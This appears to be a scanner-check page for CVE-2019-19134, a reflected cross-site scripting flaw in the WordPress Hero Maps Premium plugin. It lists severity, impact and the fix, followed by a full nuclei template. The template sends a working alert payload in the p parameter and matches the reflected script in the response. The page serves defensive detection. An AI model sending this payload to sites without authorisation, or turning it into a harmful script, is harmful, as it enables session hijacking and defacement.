WordPress Hero Maps Premium <=2.2.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

5.7%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

WordPress Hero Maps Premium plugin 2.2.1 and prior contains an unauthenticated reflected cross-site scripting vulnerability via the views/dashboard/index.php p parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of the WordPress Hero Maps Premium plugin (>=2.2.2) or apply the vendor-provided patch to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/hmapsprem/views/dashboard/index.php?p=/wp-content/plugins/hmapsprem/foo%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.…
Positive when: contains "foo\"></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-19134 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-19134

info:
  name: WordPress Hero Maps Premium <=2.2.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Hero Maps Premium plugin 2.2.1 and prior contains an unauthenticated reflected cross-site scripting vulnerability via the views/dashboard/index.php p parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Hero Maps Premium plugin (>=2.2.2) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/d179f7fe-e3e7-44b3-9bf8-aab2e90dbe01
    - https://www.hooperlabs.xyz/disclosures/cve-2019-19134.php
    - https://heroplugins.com/product/maps/
    - https://heroplugins.com/changelogs/hmaps/changelog.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19134
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-19134
    cwe-id: CWE-79
    epss-score: 0.05701
    epss-percentile: 0.93076
    cpe: cpe:2.3:a:heroplugins:hero_maps_premium:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: heroplugins
    product: hero_maps_premium
    framework: wordpress
  tags: cve,cve2019,wpscan,wordpress,xss,wp-plugin,maps,heroplugins,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/hmapsprem/views/dashboard/index.php?p=/wp-content/plugins/hmapsprem/foo%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'foo"></script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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